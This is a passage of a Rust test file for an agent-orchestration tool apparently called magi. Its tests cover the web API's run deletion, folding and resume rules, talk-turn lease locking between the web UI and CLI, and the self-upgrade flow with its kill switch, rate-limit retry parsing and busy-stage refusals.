.as_str()
.unwrap()
.contains("live daemon"),
"the refusal must say who is holding it"
);
assert!(
runs.join(run_running).exists(),
"a run in flight keeps its directory"
);
let run_unfolded = "20260901-000000-unfd";
let mut state2 = RunState::new(
PathBuf::from("/repo"),
"main".to_owned(),
"abc".to_owned(),
"instruction".to_owned(),
Config::default(),
);
state2.id = run_unfolded.to_owned();
state2.status = RunStatus::Ready;
state2.candidates.push(crate::run::Candidate {
index: 0,
label: 'A',
agent: "a".to_owned(),
branch: "b".to_owned(),
worktree: PathBuf::from("/w"),
summary: String::new(),
stat: String::new(),
files: 1,
commits: 1,
empty: false,
failed: None,
verified_noop: None,
duration_ms: 0,
folded: false,
});
let dir2 = runs.join(run_unfolded);
std::fs::create_dir_all(&dir2).expect("create dir2");
std::fs::write(
dir2.join("run.json"),
serde_json::to_string(&state2).unwrap(),
)
.expect("write run.json");
let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
assert_eq!(res.status, 409);
assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
assert!(dir2.exists(), "unfolded run directory is kept");
let res = fx.delete("/api/runs/nonexistent").await;
assert_eq!(res.status, 404);
}
#[test]
fn stats_queue_tiles_render_even_when_there_are_no_runs() {
let start = APP_JS
.find("function renderStats() {")
.expect("renderStats");
let end = start
+ APP_JS[start..]
.find("function statsTile(")
.expect("the next top-level function");
let body = &APP_JS[start..end];
let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
let gate_end = gate_start
+ body[gate_start..]
.find("}\n renderStatsQueue")
.expect("the gate's own closing brace, right before the unconditional call");
let gated = &body[gate_start..gate_end];
assert_eq!(
body.matches("renderStatsQueue(").count(),
1,
"renderStats must call renderStatsQueue exactly once: {body}"
);
assert!(
!gated.contains("renderStatsQueue"),
"renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
run-derived panels on an empty run history - the queue panel has to render \
regardless: {gated}"
);
}
#[test]
fn web_ui_delete_contract_in_front_end() {
assert!(APP_JS.contains("deleteRun:"));
assert!(APP_JS.contains("deleteTask:"));
let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
..APP_JS.find("function renderRuns").unwrap()];
assert!(!run_cards_slice.to_lowercase().contains("delete"));
assert!(APP_JS.contains("renderRunDelete"));
assert!(APP_JS.contains("runDeleteReason"));
assert!(APP_JS.contains("magi fold"));
assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
assert!(APP_JS.contains("cancel.focus"));
assert!(APP_JS.contains("armedRunDelete"));
assert!(APP_JS.contains("renderTaskDeleteBox"));
assert!(APP_JS.contains("armed${cap(key)}"));
assert!(APP_JS.contains("disabled: status === \"running\""));
}
#[test]
fn every_ref_a_run_card_uses_is_one_its_builder_published() {
let build = APP_JS
.find("function createRunCard")
.expect("createRunCard exists");
let update = APP_JS
.find("function updateRunCard")
.expect("updateRunCard exists");
let end = APP_JS
.find("function renderRuns")
.expect("renderRuns exists");
let builder = &APP_JS[build..update];
let open = builder.find("refs = {").expect("createRunCard sets refs");
let literal = &builder[open + "refs = {".len()..];
let close = literal.find('}').expect("the refs literal is closed");
let published: HashSet<&str> = literal[..close]
.split(',')
.filter_map(|entry| entry.split(':').next())
.map(str::trim)
.filter(|name| !name.is_empty())
.collect();
assert!(
published.len() > 5,
"the refs literal did not parse into names: {published:?}"
);
let mut used: Vec<&str> = Vec::new();
let updaters = &APP_JS[update..end];
for (at, _) in updaters.match_indices("r.") {
let before = updaters[..at].chars().next_back();
if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
continue;
}
let rest = &updaters[at + 2..];
let len = rest
.find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
.unwrap_or(rest.len());
if len > 0 {
used.push(&rest[..len]);
}
}
assert!(
used.len() > 5,
"no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
);
let missing: Vec<&str> = used
.iter()
.copied()
.filter(|name| !published.contains(name))
.collect();
assert!(
missing.is_empty(),
"a run card's updater reaches for {missing:?}, which `createRunCard` \
never put in `refs` - every card will throw and the list will \
render empty under a count line that says otherwise. Published: \
{published:?}"
);
}
#[tokio::test]
async fn folding_from_the_phone_reports_what_it_removed() {
let fx = Fixture::start().await;
let runs = fx.runs();
let id = "20260901-000000-fold";
write_run(&runs, id, RunStatus::Stalled);
let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
assert_eq!(res.status, 200);
assert_eq!(res.json()["removed_count"], 0);
assert_eq!(res.json()["run"], id);
assert!(
runs.join(id).exists(),
"a fold keeps the run's record; only the worktrees go"
);
}
#[tokio::test]
async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
let fx = Fixture::start().await;
let runs = fx.runs();
let wt = fx.home.path().join("wt").join("magi").join("dead");
let id = "20260901-000000-dead";
std::fs::create_dir_all(runs.join(id)).expect("run dir");
std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
std::fs::create_dir_all(&wt).expect("worktree dir");
let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
assert_eq!(res.status, 200, "{}", res.body);
assert!(
res.json()["removed_count"].as_u64().unwrap() > 0,
"the worktree this build could not read a state for still went"
);
assert!(
!runs.join(id).exists(),
"an unreadable run has no candidate list to fold selectively, so \
the whole record goes - same as `magi fold` on the CLI"
);
}
#[tokio::test]
async fn deleting_an_unreadable_run_removes_it_wholesale() {
let fx = Fixture::start().await;
let runs = fx.runs();
let wt = fx.home.path().join("wt").join("magi").join("gone");
let id = "20260901-000000-gone";
std::fs::create_dir_all(runs.join(id)).expect("run dir");
std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
std::fs::create_dir_all(&wt).expect("worktree dir");
let res = fx.delete(&format!("/api/runs/{id}")).await;
assert_eq!(res.status, 204, "{}", res.body);
assert!(!runs.join(id).exists(), "the broken record is gone");
assert!(!wt.exists(), "its worktree is gone too");
}
#[tokio::test]
async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
let fx = Fixture::start().await;
let runs = fx.runs();
let id = "20260901-000000-live";
write_run(&runs, id, RunStatus::Implementing);
let mut beat = crate::daemon::Status::new();
beat.current = vec![crate::daemon::Current {
worker: None,
task: "20260901-000000-task".to_owned(),
run: id.to_owned(),
}];
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
assert_eq!(res.status, 409);
assert!(
res.json()["error"]
.as_str()
.unwrap()
.contains("live daemon"),
"folding under a running agent would pull its worktree away"
);
}
#[tokio::test]
async fn fold_merged_requires_a_pr_url() {
let fx = Fixture::start().await;
let runs = fx.runs();
let id = "20260901-000000-nourl";
write_run(&runs, id, RunStatus::Blocked);
let res = fx
.post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
.await;
assert_eq!(res.status, 400, "{}", res.body);
let blank = fx
.post(
&format!("/api/runs/{id}/fold-merged"),
Some(r#"{"pr_url":" "}"#),
)
.await;
assert_eq!(blank.status, 400, "{}", blank.body);
}
#[tokio::test]
async fn fold_merged_is_404_for_an_unknown_run() {
let fx = Fixture::start().await;
let res = fx
.post(
"/api/runs/nosuchrun/fold-merged",
Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
)
.await;
assert_eq!(res.status, 404, "{}", res.body);
}
#[tokio::test]
async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
let fx = Fixture::start().await;
let runs = fx.runs();
let id = "20260901-000000-livemerge";
write_run(&runs, id, RunStatus::Blocked);
let mut beat = crate::daemon::Status::new();
beat.current = vec![crate::daemon::Current {
worker: None,
task: "20260901-000000-task".to_owned(),
run: id.to_owned(),
}];
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx
.post(
&format!("/api/runs/{id}/fold-merged"),
Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
)
.await;
assert_eq!(res.status, 409, "{}", res.body);
assert!(
res.json()["error"]
.as_str()
.unwrap()
.contains("live daemon"),
"correcting a run's merge underneath a running agent would race \
whatever it is doing to the same `status`/`merge` fields"
);
}
#[tokio::test]
async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
let fx = Fixture::start().await;
let runs = fx.runs();
let id = "20260901-000000-unconfirmed";
write_run(&runs, id, RunStatus::Blocked);
let res = fx
.post(
&format!("/api/runs/{id}/fold-merged"),
Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
)
.await;
assert_eq!(res.status, 400, "{}", res.body);
assert_eq!(
read_run(&runs, id).unwrap().status,
RunStatus::Blocked,
"a pull request that could not be confirmed merged must leave \
the run exactly where it was"
);
}
#[tokio::test]
async fn terminal_runs_cannot_be_resumed() {
let fx = Fixture::start().await;
let runs = fx.runs();
for (status, word) in [
(RunStatus::Merged, "merged"),
(RunStatus::Ready, "ready"),
(RunStatus::Failed, "failed"),
] {
let id = format!("20260901-000000-{}", &word[..4]);
write_run(&runs, &id, status);
let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
assert_eq!(res.status, 409, "{word} must not be resumable");
}
}
#[tokio::test]
async fn resume_is_refused_while_the_loop_is_running() {
let fx = Fixture::start().await;
let runs = fx.runs();
let stalled = "20260901-000000-stal";
write_run(&runs, stalled, RunStatus::Stalled);
let mut beat = crate::daemon::Status::new();
beat.current = vec![crate::daemon::Current {
worker: None,
task: "20260901-000000-task".to_owned(),
run: "20260901-000000-othr".to_owned(),
}];
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
assert_eq!(res.status, 409);
let err = res.json()["error"].as_str().unwrap().to_owned();
assert!(err.contains("othr"), "it names what the loop is on: {err}");
assert!(err.contains("stop it first"), "{err}");
}
#[test]
fn a_run_cannot_be_resumed_twice_at_once() {
let home = TempDir::new().expect("temp home");
let ui = Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
home.path().join("runs"),
home.path().to_path_buf(),
PathBuf::from("/repo"),
)
.with_worktrees_root(home.path().join("wt"));
let first = ui.begin_resume("20260901-000000-once").expect("claimed");
let again = ui.begin_resume("20260901-000000-once");
assert!(again.is_err(), "a second tap must not start a second graph");
drop(first);
assert!(
ui.begin_resume("20260901-000000-once").is_ok(),
"and the claim is released when the attempt ends"
);
}
#[test]
fn talk_thinking_tracks_only_its_held_turn_claim() {
let home = TempDir::new().expect("temp home");
let ui = Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
Talks::at(home.path().join("talks")),
home.path().join("runs"),
home.path().to_path_buf(),
PathBuf::from("/repo"),
)
.with_worktrees_root(home.path().join("wt"));
let id = "20260901-000000-once";
assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
let turn = ui.begin_talk_turn(id).expect("claim turn");
assert!(ui.is_thinking(id), "the held guard is reported as thinking");
assert!(
!ui.is_thinking("20260901-000000-other"),
"one talk's turn does not make another talk busy"
);
drop(turn);
assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
}
#[test]
fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
let home = TempDir::new().expect("temp home");
let talks = Talks::at(home.path().join("talks"));
let ui = Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
talks.clone(),
home.path().join("runs"),
home.path().to_path_buf(),
PathBuf::from("/repo"),
)
.with_worktrees_root(home.path().join("wt"));
let id = "20260901-000000-cross";
let other = Talks::at(home.path().join("talks"))
.claim_turn(id)
.expect("claim")
.expect("the other process wins");
assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
assert!(ui.begin_talk_turn(id).expect("claim").is_none());
assert!(
matches!(
ui.begin_talk_turn_unless_pending(id).expect("start"),
TalkTurnStart::Foreign
),
"a foreign holder is refused, not queued behind"
);
assert!(
!ui.talk_turns.lock().unwrap().live.contains(id),
"a refused claim leaves no in-process entry behind"
);
drop(other);
let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
assert!(talks.turn_held(id), "the web turn holds the lease");
drop(turn);
assert!(
!talks.turn_held(id),
"dropping the guard releases the lease"
);
}
fn consult_question(ui: &Ui) -> Question {
let mut q = Question::new(
"20260901-000000-consult".to_owned(),
"implement".to_owned(),
"impl-A".to_owned(),
"Which backend?".to_owned(),
String::new(),
vec!["SQLite".to_owned(), "Redis".to_owned()],
);
ui.questions.put(&mut q).expect("question");
q
}
fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
(
std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
)
}
#[tokio::test]
async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
let q = consult_question(&ui);
let talk = ui.talks.get(&id).expect("talk");
let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
let before = consult_snapshot(&ui, &q, &id);
let cli_talks = Talks::at(ui.home.join("talks"));
assert_eq!(
crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
.await
.expect("CLI starter"),
crate::consult::Started::Busy
);
assert_eq!(consult_snapshot(&ui, &q, &id), before);
assert!(ui.is_thinking(&id));
drop(guard);
assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
}
#[tokio::test]
async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
let q = consult_question(&ui);
let talk = ui.talks.get(&id).expect("talk");
let started = tmp.path().join("started");
let release = tmp.path().join("release");
let script = tmp.path().join("consult-agent.sh");
std::fs::write(
&script,
"cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n i=$((i + 1))\n [ \"$i\" -lt 3000 ] || exit 7\n sleep 0.01\ndone\nprintf ok\n",
)
.expect("script");
let mut cfg = stub_config();
cfg.agents[0].id = "mock".to_owned();
cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
cfg.agents[0].env = std::collections::BTreeMap::from([
("STARTED".to_owned(), started.to_string_lossy().into_owned()),
("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
]);
let questions = ui.questions.clone();
let cli_talks = Talks::at(ui.home.join("talks"));
let cli_q = q.clone();
let turn = tokio::spawn(async move {
crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
});
let ready = tokio::time::timeout(Duration::from_secs(30), async {
while !started.exists() {
tokio::time::sleep(Duration::from_millis(10)).await;
}
})
.await;
let refusal = if ready.is_ok() {
let before = consult_snapshot(&ui, &q, &id);
let result = talk_say(
State(Arc::clone(&ui)),
Path(id.clone()),
Ok(Json(NewTalkTurn {
reply_to: None,
text: "another message".to_owned(),
attachments: Vec::new(),
})),
)
.await;
Some((result, before, consult_snapshot(&ui, &q, &id)))
} else {
None
};
std::fs::write(&release, "").expect("release agent");
let done = turn.await.expect("join CLI turn");
ready.expect("agent started before deadline");
let (result, before, after) = refusal.expect("web request");
let error = result.expect_err("web must refuse the CLI's turn");
assert_eq!(error.status, StatusCode::CONFLICT);
assert!(error.message.contains("a turn is already running"));
assert_eq!(
after, before,
"refusal preserves question, draft and history"
);
assert_eq!(done.expect("CLI turn"), crate::consult::Started::Answered);
let guard = ui
.begin_talk_turn(&id)
.expect("web claim")
.expect("free again");
drop(guard);
}
#[test]
fn a_dropped_guard_releases_the_lease_before_the_in_process_slot() {
let home = TempDir::new().expect("temp home");
let talks = Talks::at(home.path().join("talks"));
let ui = Ui::new(
Queue::at(home.path().join("queue")),
Questions::at(home.path().join("questions")),
talks.clone(),
home.path().join("runs"),
home.path().to_path_buf(),
PathBuf::from("/repo"),
)
.with_worktrees_root(home.path().join("wt"));
let id = "20260901-000000-order";
let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
let slots = ui.talk_turns.lock().unwrap();
let dropper = std::thread::spawn(move || drop(turn));
let start = std::time::Instant::now();
while talks.turn_held(id) && start.elapsed() < Duration::from_secs(5) {
std::thread::sleep(Duration::from_millis(5));
}
assert!(!talks.turn_held(id), "the lease is released first");
assert!(slots.live.contains(id), "the slot is still held meanwhile");
drop(slots);
dropper.join().expect("join");
assert!(!ui.talk_turns.lock().unwrap().live.contains(id));
}
#[tokio::test]
async fn an_upgrade_is_refused_for_a_legacy_scheduler() {
let fx = Fixture::start().await;
let mut beat = crate::daemon::Status::new();
beat.worker_protocol = None;
beat.pid = 4321;
beat.updated_at = jiff::Timestamp::now();
crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
.expect("publish a heartbeat");
let res = fx.post("/api/upgrade", None).await;
assert_eq!(res.status, 409);
}
#[test]
fn recheck_never_spawns_when_checking_is_off_or_killed_by_env() {
assert!(!should_spawn_recheck(&crate::config::Update {
mode: UpdateMode::Off,
interval: None,
auto_restart: false,
}));
unsafe {
std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
}
let killed = should_spawn_recheck(&crate::config::Update {
mode: UpdateMode::Notify,
interval: None,
auto_restart: false,
});
unsafe {
std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
}
assert!(
!killed,
"MAGI_NO_AUTOUPDATE must stop the periodic recheck, not just the \
one-time startup check"
);
assert!(should_spawn_recheck(&crate::config::Update {
mode: UpdateMode::Notify,
interval: None,
auto_restart: false,
}));
}
#[test]
fn recheck_poll_period_tracks_a_short_configured_interval() {
let short = crate::config::Update {
mode: UpdateMode::Notify,
interval: Some("1m".to_owned()),
auto_restart: false,
};
let period = recheck_poll_period(&short);
assert!(
period <= Duration::from_secs(30),
"a one-minute interval must wake the task far sooner than the \
default ceiling, or the deck would not notice within the \
interval the operator configured: got {period:?}"
);
let default = crate::config::Update {
mode: UpdateMode::Notify,
interval: None,
auto_restart: false,
};
assert_eq!(
recheck_poll_period(&default),
UPDATE_RECHECK_POLL_MAX,
"the default day-long interval should poll at the (capped) \
ceiling rather than needlessly often"
);
}
#[test]
fn recheck_skips_the_network_before_the_interval_elapses() {
let dir = TempDir::new().expect("temp dir");
let path = dir.path().join("state.json");
let state = kaishin::UpdateCheckState {
last_checked_unix: jiff::Timestamp::now().as_second() as u64,
last_known_latest: None,
last_known_url: None,
};
kaishin::save_check_state(&path, &state).expect("seed a just-checked state");
let checker = crate::updater::Checker::for_test(Duration::from_secs(24 * 60 * 60), path);
assert!(
!update_recheck_due(&checker, None),
"a check made moments ago must not be repeated before the \
configured interval elapses"
);
}
#[test]
fn recheck_defers_to_an_upgrade_already_in_flight() {
let dir = TempDir::new().expect("temp dir");
let path = dir.path().join("state.json");
let checker = crate::updater::Checker::for_test(Duration::from_secs(60 * 60), path);
let progress = crate::updater::Progress::new("0.8.0".to_owned(), "v0.9.0".to_owned());
assert!(
!update_recheck_due(&checker, Some(&progress)),
"a recheck must not run while an upgrade this deck started is \
still moving"
);
}
#[tokio::test]
async fn an_upgrade_is_refused_by_the_no_autoupdate_kill_switch() {
unsafe {
std::env::set_var(crate::updater::NO_AUTOUPDATE_ENV, "1");
}
let fx = Fixture::start().await;
let res = fx.post("/api/upgrade", None).await;
unsafe {
std::env::remove_var(crate::updater::NO_AUTOUPDATE_ENV);
}
assert_eq!(res.status, 200, "not 202: nothing was set in motion");
let body = res.json();
assert!(body["to"].is_null(), "there was no release to move to");
assert!(body["parked"].is_null(), "and nothing was parked");
assert!(
body["detail"]
.as_str()
.unwrap()
.contains("disabled by MAGI_NO_AUTOUPDATE"),
"{body:?}"
);
}
#[test]
fn auto_upgrade_decision_respects_policy_work_and_failed_tags() {
use AutoUpgradeDecision::{Skip, Trigger, Wait};
let mut cfg = Update::default();
assert!(matches!(
auto_upgrade_decision(&cfg, false, false, false, "v2", None),
Skip(_)
));
cfg.auto_restart = true;
assert_eq!(
auto_upgrade_decision(&cfg, false, false, false, "v2", None),
Trigger
);
assert_eq!(
auto_upgrade_decision(&cfg, false, false, true, "v2", None),
Wait
);
for (disabled, moving, failed) in [
(true, false, None),
(false, true, None),
(false, false, Some("v2")),
] {
assert!(matches!(
auto_upgrade_decision(&cfg, disabled, moving, false, "v2", failed),
Skip(_)
));
}
assert_eq!(
auto_upgrade_decision(&cfg, false, false, false, "v3", Some("v2")),
Trigger
);
cfg.mode = UpdateMode::Off;
assert!(matches!(
auto_upgrade_decision(&cfg, false, false, false, "v2", None),
Skip(_)
));
}
#[test]
fn auto_upgrade_waits_for_detached_workers_but_not_the_scheduler() {
let home = TempDir::new().unwrap();
let ui = idle_ui(&home);
assert!(!ui.auto_upgrade_busy());
let directory = home.path().join("workers/jobs/abcdef");
std::fs::create_dir_all(&directory).unwrap();
let mut job = crate::worker::Job {
id: "abcdef".into(),
sequence: 1,
kind: "scheduler".into(),
key: "scheduler".into(),
payload: serde_json::json!({}),
generation: "test".into(),
version: None,
status: crate::worker::Status::Running,
result: None,
pid: None,
created_at: 0,
finished_at: None,
};
let lease = crate::worker::execution_lease_for_test(&directory.join("live.lock"));
let write = |job: &crate::worker::Job| {
std::fs::write(directory.join("job.json"), serde_json::to_vec(job).unwrap()).unwrap();
};
write(&job);
assert!(!ui.auto_upgrade_busy(), "an idle scheduler permits updates");
for kind in ["task", "chat"] {
job.kind = kind.into();
write(&job);
assert!(ui.auto_upgrade_busy(), "a detached {kind} defers updates");
}
drop(lease);
assert!(
!ui.auto_upgrade_busy(),
"completed execution permits updates"
);
std::fs::create_dir_all(home.path().join("workers/jobs/bad")).unwrap();
assert!(
ui.auto_upgrade_busy(),
"unreadable worker state defers updates"
);
}
fn fail_test_upgrade(_: PathBuf) -> Pin<Box<dyn Future<Output = Result<()>> + Send>> {
Box::pin(async { anyhow::bail!("test installer failed") })
}
#[tokio::test]
async fn auto_upgrade_uses_shared_progress_and_failure_cleanup_only_when_idle() {
let home = TempDir::new().unwrap();
std::fs::write(
home.path().join("magi.toml"),
"[update]\nauto_restart = true\n",
)
.unwrap();
let mut ui = idle_ui(&home);
ui.repo = home.path().to_path_buf();
ui.upgrade_runner = fail_test_upgrade;
let ui = Arc::new(ui);
let latest = || {
Some(kaishin::LatestRelease {
tag_name: "v999.0.0".into(),
html_url: String::new(),
})
};
ui.talk_turns.lock().unwrap().live.insert("busy".into());
assert_eq!(
begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
.await
.status(),
StatusCode::NO_CONTENT
);
assert!(updater::read_progress(home.path()).is_none());
ui.talk_turns.lock().unwrap().live.clear();
let gate = ui.upgrade_gate.lock().await;
assert_eq!(
begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
.await
.status(),
StatusCode::CONFLICT
);
drop(gate);
assert_eq!(
begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
.await
.status(),
StatusCode::ACCEPTED
);
let progress = updater::read_progress(home.path()).unwrap();
assert_eq!(progress.trigger, updater::UpgradeTrigger::Auto);
assert_eq!(progress.stage, updater::Stage::Downloading);
assert!(progress.parked_run.is_none());
assert!(ui.start_detached_loop().await.is_err());
assert!(ui.start_loop(None).is_err());
assert!(ui.begin_resume("late").is_err());
tokio::time::timeout(Duration::from_secs(2), async {
while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
tokio::task::yield_now().await;
}
})
.await
.unwrap();
let progress = updater::read_progress(home.path()).unwrap();
assert_eq!(progress.stage, updater::Stage::Failed);
assert_eq!(
begin_upgrade(&ui, updater::UpgradeTrigger::Auto, latest())
.await
.status(),
StatusCode::NO_CONTENT
);
let result = upgrade_checked(&ui, "old".into(), Ok(latest()));
assert_eq!(
finish_upgrade_request(&ui, result).status(),
StatusCode::ACCEPTED
);
assert_eq!(
updater::read_progress(home.path()).unwrap().trigger,
updater::UpgradeTrigger::Manual
);
tokio::time::timeout(Duration::from_secs(2), async {
while ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst) {
tokio::task::yield_now().await;
}
})
.await
.unwrap();
}
fn seeded_progress(stage: crate::updater::Stage) -> crate::updater::Progress {
let mut p = crate::updater::Progress::new("0.1.0".into(), "v0.2.0".into());
p.stage = stage;
p
}
#[test]
fn busy_stages_match_the_ui_set() {
use crate::updater::Stage;
assert!(APP_JS.contains(
"UPGRADE_BUSY_STAGES = new Set([\"downloading\", \"replaced\", \"parking\", \"restarting\"])"
));
for s in [
Stage::Downloading,
Stage::Replaced,
Stage::Parking,
Stage::Restarting,
] {
assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_some());
}
for s in [Stage::Done, Stage::Failed] {
assert!(upgrade_in_motion(Some(&seeded_progress(s))).is_none());
}
assert!(upgrade_in_motion(None).is_none());
}
#[tokio::test]
async fn a_second_upgrade_during_a_busy_stage_is_refused_and_changes_nothing() {
use crate::updater::Stage;
for stage in [
Stage::Downloading,
Stage::Replaced,
Stage::Parking,
Stage::Restarting,
] {
let fx = Fixture::start().await;
let seeded = seeded_progress(stage);
crate::updater::write_progress(fx.home.path(), &seeded).expect("seed");
let before = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
.expect("read");
let res = fx.post("/api/upgrade", None).await;
assert_eq!(res.status, 409, "{stage:?}");
let err = res.json()["error"].as_str().unwrap().to_owned();
assert!(err.contains("already in progress"), "{err}");
assert!(err.contains(stage.as_str()), "{err}");
let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
.expect("read");
assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
.unwrap_or_default();
assert!(!log.contains("signalling HANDOVER"), "{log}");
}
}
#[test]
fn upgrade_retry_timing_only_parses_known_diagnostics() {
assert_eq!(
upgrade_retry_after("GitHub API rate limit exceeded (resets in 1h 2m 3s). Use a token"),
Some(3723)
);
assert_eq!(
upgrade_retry_after("GitHub secondary rate limit hit (retry after 1m). Slow down"),
Some(60)
);
assert_eq!(
upgrade_retry_after("GitHub API rate limit exceeded (retry now)"),
Some(0)
);
for message in [
"permission denied",
"GitHub API rate limit exceeded",
"GitHub rate limit (resets in unknown)",
"GitHub rate limit (resets in 18446744073709551615d)",
] {
assert_eq!(upgrade_retry_after(message), None, "{message}");
}
}
#[tokio::test]
async fn upgrade_request_failure_survives_health_without_changing_successful_progress() {
let home = TempDir::new().unwrap();
let ui = Arc::new(idle_ui(&home).with_worktrees_root(home.path().join("wt")));
ui.start_loop(None).unwrap();
updater::write_progress(home.path(), &seeded_progress(updater::Stage::Done)).unwrap();
let before = std::fs::read(updater::progress_path(home.path())).unwrap();
let reason = "GitHub API rate limit exceeded (resets in 2m). Authenticate the request";
let result = upgrade_checked(&ui, "0.1.0".into(), Err(anyhow::anyhow!(reason)));
let response = finish_upgrade_request(&ui, result);
assert_eq!(response.status(), StatusCode::INTERNAL_SERVER_ERROR);
assert_eq!(response.headers()["retry-after"], "120");
let bytes = axum::body::to_bytes(response.into_body(), usize::MAX)
.await
.unwrap();
let body: serde_json::Value = serde_json::from_slice(&bytes).unwrap();
assert!(body["error"].as_str().unwrap().contains(reason));
assert_eq!(body["retry_after_secs"], 120);
assert!(body["retry_at"].as_u64().is_some());
for _ in 0..2 {
let view = health(State(ui.clone())).await.unwrap().0;
let failure = serde_json::to_value(view.upgrade_request_error).unwrap();
assert_eq!(failure, body);
}
assert_eq!(
std::fs::read(updater::progress_path(home.path())).unwrap(),
before
);
assert!(!ui.lock_loop().live.as_ref().unwrap().stop.stopped());
assert!(!ui.upgrade_spawned.load(std::sync::atomic::Ordering::SeqCst));
let gate = ui.upgrade_gate.lock().await;
assert_eq!(
upgrade_post(State(ui.clone())).await.status(),
StatusCode::CONFLICT
);
drop(gate);
assert!(
health(State(ui.clone()))
.await
.unwrap()
.0
.upgrade_request_error
.is_some()
);
let out = upgrade_checked(&ui, "0.1.0".into(), Ok(None));
assert_eq!(finish_upgrade_request(&ui, out).status(), StatusCode::OK);
assert!(
health(State(ui.clone()))
.await
.unwrap()
.0
.upgrade_request_error
.is_none()
);
let live = ui.lock_loop().live.take().unwrap();
live.stop.stop();
live.handle.await.unwrap();
}
#[tokio::test]
async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
use crate::updater::Stage;
let repo = TempDir::new().expect("repo dir");
std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
.expect("write magi.toml");
let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
for stage in [Stage::Done, Stage::Failed] {
crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
let res = fx.post("/api/upgrade", None).await;
assert_eq!(res.status, 200, "{stage:?}");
}
let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
}
#[tokio::test]
async fn an_upgrade_with_nothing_to_install_changes_nothing() {
let repo = TempDir::new().expect("repo dir");
std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
.expect("write magi.toml");
let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
let res = fx.post("/api/upgrade", None).await;
assert_eq!(res.status, 200, "not 202: nothing was set in motion");
let body = res.json();
assert!(body["to"].is_null(), "there was no release to move to");
assert!(body["parked"].is_null(), "and nothing was parked");
assert!(
body["detail"]
.as_str()
.unwrap()
.contains("nothing restarted"),
"{body:?}"
);
}
async fn wait_for_disk_scan(state: &Arc<Mutex<DiskObservation>>) {
tokio::time::timeout(Duration::from_secs(5), async {
while state.lock().unwrap().in_flight {
tokio::task::yield_now().await;
}
})
.await
.expect("capacity scan finished");
